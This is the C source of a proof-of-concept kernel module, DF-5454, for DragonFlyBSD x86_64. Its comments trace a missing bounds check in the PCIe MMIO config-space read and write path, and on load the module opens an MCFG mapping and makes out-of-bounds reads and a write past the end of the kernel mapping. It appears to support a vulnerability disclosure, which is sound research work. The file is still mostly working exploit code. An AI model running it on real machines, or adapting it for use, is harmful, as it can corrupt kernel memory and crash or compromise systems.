DF-5454 / df5454.c
/* * DF-5454 PoC โ DragonFlyBSD x86_64 PCIe MMIO config-space backend * missing reg+width bound -> OOB access past end of pcie_base devmap. * * Attack path proven here: * pcib bridges sys/bus/pci/x86_64/pci_bus.c:61-75 * (legacy_pcib_read_config / legacy_pcib_write_config โ no validation) * -> pci_cfgregread/pci_cfgregwrite * -> pciereg_cfgread/cfgwrite (pci_cfgreg.c:315-365) * bound check only reg > PCIE_REGMAX(4095) -- no reg+bytes<=4096, * no alignment check (mech-1 backend pci_cfgenable has both). * * The QEMU i440FX guest never activates CFGMECH_PCIE (no MCFG, host bridge * 8086:1237 not in the chipset list at pci_cfgreg.c:104-124), so this KLD * performs the exact legal call the platform/ACPI would make at boot * (pcie_cfgregopen โ also invoked from sys/dev/acpica/acpi.c:1669 for any * MCFG table) and then issues the offending accesses. Requires root * (kldload), matching the finding's root-gated threat model (the /dev/pci * ioctl path pci_user.c:602-673 validates width/alignment but sets NO * upper bound on pi_reg). * * The 256MB MMIO mapping covers bus 0..255. The highest mapped byte is * (bus=255,slot=31,func=7,reg=0xfff). reg=0xfff width=2 touches one byte * PAST the pmap_mapdev_uncacheable() allocation (kernel_map KVA). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> /* global kernel symbols, prototypes from sys/bus/pci/x86_64/pci_cfgreg.h */ extern int pcie_cfgregopen(uint64_t base, uint8_t minbus, uint8_t maxbus); extern uint32_t pci_cfgregread(int bus, int slot, int func, int reg, int bytes); extern void pci_cfgregwrite(int bus, int slot, int func, int reg, uint32_t data, int bytes); /* physical address inside guest low RAM (QEMU -m 4096: RAM 0..0xBFFFFFFF) */ #define MMCFG_PA 0x40000000ULL static void df5454_run(void) { uint32_t v; kprintf("DF-5454: step0: pcie_cfgregopen(0x%jx, 0, 255) [what ACPI MCFG " "does at boot]\n", (uintmax_t)MMCFG_PA); if (pcie_cfgregopen(MMCFG_PA, 0, 255) == 0) { kprintf("DF-5454: pcie_cfgregopen refused (hw.pci.mcfg=0?)\n"); return; } kprintf("DF-5454: step1: CONTROL in-bounds read (255,31,7,0xffc,4) " "-- must NOT fault\n"); v = pci_cfgregread(255, 31, 7, 0xffc, 4); kprintf("DF-5454: control read ok: 0x%08x\n", v); kprintf("DF-5454: step2: OOB READ (255,31,7,0xfff,2) -- last mapped " "byte + 1 byte past 256MB devmap\n"); v = pci_cfgregread(255, 31, 7, 0xfff, 2); kprintf("DF-5454: survived OOB read: 0x%08x (adjacent page mapped)\n", v); kprintf("DF-5454: step3: OOB WRITE (255,31,7,0xfff,0xBEBE,2) -- 1 byte " "past mapping\n"); pci_cfgregwrite(255, 31, 7, 0xfff, 0xBEBE, 2); kprintf("DF-5454: survived OOB write\n"); kprintf("DF-5454: step4: OOB READ (255,31,7,0xffd,4) -- 3 bytes past " "mapping\n"); v = pci_cfgregread(255, 31, 7, 0xffd, 4); kprintf("DF-5454: survived: 0x%08x\n", v); } static int df5454_handler(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: df5454_run(); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df5454_mod = { "df5454", df5454_handler, NULL }; DECLARE_MODULE(df5454, df5454_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(df5454, 1); |